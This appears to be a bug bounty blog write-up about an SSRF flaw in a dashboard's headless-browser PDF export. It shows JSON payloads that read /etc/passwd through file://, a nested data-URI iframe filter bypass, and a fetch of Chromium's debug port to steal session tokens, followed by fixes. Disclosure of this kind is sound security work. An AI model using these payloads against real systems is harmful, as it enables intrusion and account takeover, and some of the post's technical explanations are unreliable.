Three months. That's how long I stared at bug bounty programs, submitting low-risk findings that barely paid for coffee. Then, everything changed with a single 'iframeobject' parameter.

I was testing a JSON-driven dashboard that allowed users to export reports as PDFs/PNGs. At first glance, it seemed secure — until I noticed a tiny, undocumented feature:

"What if I tweak the 'url' parameter to something… internal?"

That thought led to a 9.1 CVSS SSRF (Server-Side Request Forgery) flaw, exposing the company's entire internal network. Here's how it happened.

Vulnerability Deep Dive — How Headless Browsers Betrayed Their Owners

Headless Browsers 101: The Silent Workhorses

Headless browsers (like Chromium without a GUI) are used everywhere — PDF generation, screenshot tools, and web scraping. They render pages invisibly, but their power comes with risks.

Most developers assume headless browsers are safe because they 'just render' content. But what if they're tricked into fetching internal systems?

The Flaw: A JSON Parameter That Opened Doors

The dashboard accepted a JSON payload like this:

{
  "type": "iframeobject",
  "url": "https://example.com"
}

Seems harmless, right? But two critical oversights were made:

  1. No URL Validation — The url parameter accepted any scheme (file://, http://, even localhost:9222).
  2. Nested Iframe Execution — By wrapping a malicious URL inside double iframes, I bypassed HTTPS restrictions.

The system was blindly fetching whatever I threw at it — including internal AWS metadata endpoints and debug ports.

From SSRF to Session Tokens

Step 1: Injecting the Malicious Iframe

I modified the JSON to:

{
  "type": "iframeobject",
  "url": "file:///etc/passwd"
}

Boom. The server returned a PDF with system file contents.

At this point, I knew I had an SSRF. But I wanted internal network access.

Step 2: Bypassing Restrictions with Nested Iframes

The dashboard blocked http:// but allowed https://. So I used:

<iframe src="data:text/html,<iframe src='http://internal-ip'></iframe>">

This double iframe trick smuggled HTTP requests through HTTPS.

Step 3: Leaking Session Tokens via Chromium's Debug Port

The biggest find? localhost:9222—Chromium's debug port. By fetching:

{
  "type": "iframeobject",
  "url": "http://localhost:9222/json"
}

I retrieved active session tokens, enabling full account takeovers.

The PDF looked normal, but its metadata contained leaked admin cookies.

4. Impact & Mitigation — Why This Was a Critical 9.1 CVSS Flaw

Why It Was Critical

  • Internal Network Exposure — Accessed AWS metadata, Jenkins, and databases.
  • Session Hijacking — Stole admin tokens via Chromium's debug API.
  • No User Interaction Needed — Exploited via automated PDF exports.

How Developers Can Fix It

  1. Restrict URL Schemes — Only allow https:// (no file://, http://, or localhost).
  2. Sandbox Headless Browsers — Run them in isolated containers with no internal access.
  3. Validate JSON Inputs — Block unexpected object types like iframeobject.

*"The company patched it in 24 hours and rewarded a five-figure bounty. Lesson learned: Never trust headless browsers with internal networks."*

Conclusion & Engagement — Your Turn to Hunt

This wasn't just another SSRF — it was a goldmine hidden in plain sight.

The next time you test a PDF/PNG export feature, ask yourself: What's this headless browser fetching?

If you enjoyed this write-up, smash the clap button!

Comment below: "What's your weirdest SSRF find? Have you ever exploited a headless browser?"